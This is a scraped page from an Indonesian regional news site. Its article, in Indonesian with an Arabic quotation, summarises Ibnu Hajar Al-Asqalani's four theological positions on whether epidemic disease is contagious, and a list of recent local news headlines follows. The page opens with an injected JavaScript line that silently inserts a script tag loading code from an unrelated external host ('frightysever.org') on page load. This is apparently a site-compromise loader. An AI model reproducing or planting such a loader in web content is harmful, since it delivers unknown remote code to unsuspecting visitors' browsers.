(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
RELIGI

Empat Jenis Keimanan Manusia atas Penularan Wabah Penyakit


Ibnu Hajar Al-Asqalani dalam karyanya Badzlul Ma‘un fi Fadhlit Tha‘un mencoba menyimpulkan sikap teologis manusia atas penularan wabah penyakit. Ia menyebut setidaknya empat pandangan manusia atas penularan wabah penyakit.

1. Wabah penyakit secara alamiah semata dapat menular kepada sesama manusia atau makhluk hidup secara umum. Ini pandangan orang kafir.

2.Wabah penyakit dapat menular kepada sesama manusia atau makhluk hidup secara umum melalui kekuatan atau sebab yang Allah ciptakan dan titipkan padanya, sesuatu kekuatan yang tidak pernah lepas darinya. Hanya karena mukjizat (untuk nabi) atau karamah (untuk wali), seseorang dapat tercegah dari penularan wabah penyakit. Ini salah satu pandangan sekte dalam Islam, tetapi pandangan ini lemah. (Kelompok yang dimaksud Al-Asqalani bisa jadi adalah Muktazilah).

3.Wabah penyakit dapat menular kepada sesama makhluk hidup bukan secara alamiah, tetapi secara hukum kebiasaan/adat yang diberlakukan oleh Allah (sunnatullah) pada ghalibnya sebagaimana Allah membuat sunnatullah pada pembakaran oleh api. Hukum kebiasaan ini dapat tidak berlaku pada saat-saat tertentu atas kehendak Allah. Namun demikian, ketidakberlakuan hukum kebiasaan ini jarang sekali terjadi dalam kebiasaan.

4.Wabah penyakit tidak menular secara alamiah sama sekali. Tetapi penyakit yang menjangkiti seseorang pada saat yang bertepatan dengan wabah, maka Allah menciptakan penyakit pada dirinya sedari mula, (bukan karena penularan). Oleh karena itu, “Kau melihat banyak orang sakit dikatakan bahwa mereka dapat menularkan penyakitnya, sementara orang sehat banyak melakukan kontak dengannya tanpa tertular sedikitpun. Tetapi kau melihat banyak orang yang tidak pernah sama sekali melakukan kontak langsung dengan penderita penyakit ‘menular’ justru mengidap penyakit yang sama. Semua itu terjadi berkat takdir Allah SWT.

والمذهبان الأخيران مشهوران والذي يترجح في باب العدوى هو الأخير عملا بعموم قوله صلى الله عليه وسلم لا يعدي شيء شيأ وقوله ردا على من أثبت العدوى فمن أعدى الأول؟ كما تقدم تقريره والله سبحانه وتعالى أعلم

Artinya, “Kedua pandangan terakhir cukup terkenal (dianut banyak orang). Pandangan yang paling kuat dari keduanya adalah pandangan terakhir (keempat) dengan mengamalkan keumuman hadits, ‘Sesuatu (penyakit) tidak menular pada sesuatu’ dan penolakan Rasulullah atas pandangan masyarakat (jahiliyah) yang menetapkan penularan dengan sabdanya, ‘Lalu siapa yang menulari penderita pertama?’ sebagaimana ketetapan yang telah lalu. Wallahu SWT a‘lam,” (Ibnu Hajar Al-Asqalani, Badzlul Ma‘un fi Fadhlit Tha‘un, [Riyadh, Darul Ashimah: tanpa tahun], halaman 344)

Al-Asqalani sebelumnya menjelaskan bantahan atas pandangan penularan wabah penyakit. Ia mengutip Qadhi Tajuddin RA yang mengatakan bahwa penularan wabah penyakit berlaku hanya secara hukum kebiasaan/adat. Sedangkan maksud hadits Rasulullah SAW yang menapikan penularan wabah penyakit adalah penularan penyakit secara alamiah, (bukan atas kehendak dan kuasa Allah). (Al-Asqalani, tanpa tahun: 342).

Penjelasan Al-Asqalani sejalan dengan hukum ‘adi, satu dari tiga kategori hukum dalam kajian Ilmu Kalam menurut pandangan Ahlussunnah wal Jamaah, yaitu hukum aqli (wajib, mustahil, ja’iz), hukum sya’ri (wajib, sunnah, mubah, makruh, dan haram), dan hukum ‘adi (hukum kebiasaan yang sah bersalahan/la ta’tsira li syai’in minal ka’inati bi quwwatihi wa thab’ihi).

Pandangan ini tidak menafikan perintah agama untuk menjaga diri dari penyebaran wabah penyakit secara hukum kebiasaan. Wallahu a’lam. (alhafiz kurniawan/nuonline)

Reporter : nuonline
Editor : kk

 


Al Ghifari

Recent Posts

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

2 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

6 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

6 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

6 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

8 jam ago

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

10 jam ago

This website uses cookies.